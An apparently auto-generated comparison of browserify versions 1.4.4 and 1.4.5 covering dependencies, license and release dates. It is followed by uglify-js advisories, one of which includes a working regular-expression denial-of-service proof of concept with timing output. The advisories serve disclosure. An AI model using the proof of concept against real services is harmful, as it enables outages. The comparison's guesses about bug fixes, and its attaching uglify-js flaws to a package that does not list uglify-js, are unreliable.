Browserify is a powerful tool for developers aiming to use Node.js-style modules within a browser environment. Versions 1.4.4 and 1.4.5 share a core purpose: enabling the require() functionality familiar to Node.js developers, making client-side JavaScript development more organized and modular. Both boast identical descriptions, claiming the provision of "Browser-side require() for js directories and npm modules". Looking into the dependencies, both versions rely on the same core packages to operate. Crucially, nub, resolve, optimist, commondir, detective, and coffee-script define the environment, showing they have the same core functionalities.
The developer tooling, encapsulated in devDependencies, presents a similar story. seq, jade, dnode, jsdom, connect, hashish, backbone, expresso, traverse, and jquery-browserify are all listed, suggesting similar development and testing workflows. From a licensing perspective, both versions are offered under the liberal MIT/X11 license.
The primary variance is revealed in the release dates: 2011-08-30T11:39:57.096Z for version 1.4.4 and 2011-08-30T23:58:05.448Z for 1.4.5. This roughly 12-hour gap suggests that version 1.4.5 likely contains bug fixes or minor improvements over 1.4.4. For developers, upgrading from 1.4.4 to 1.4.5 is advisable for the most stable and refined experience. While no major feature additions are evident, small bug fixes are likely.
All the vulnerabilities related to the version 1.4.5 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.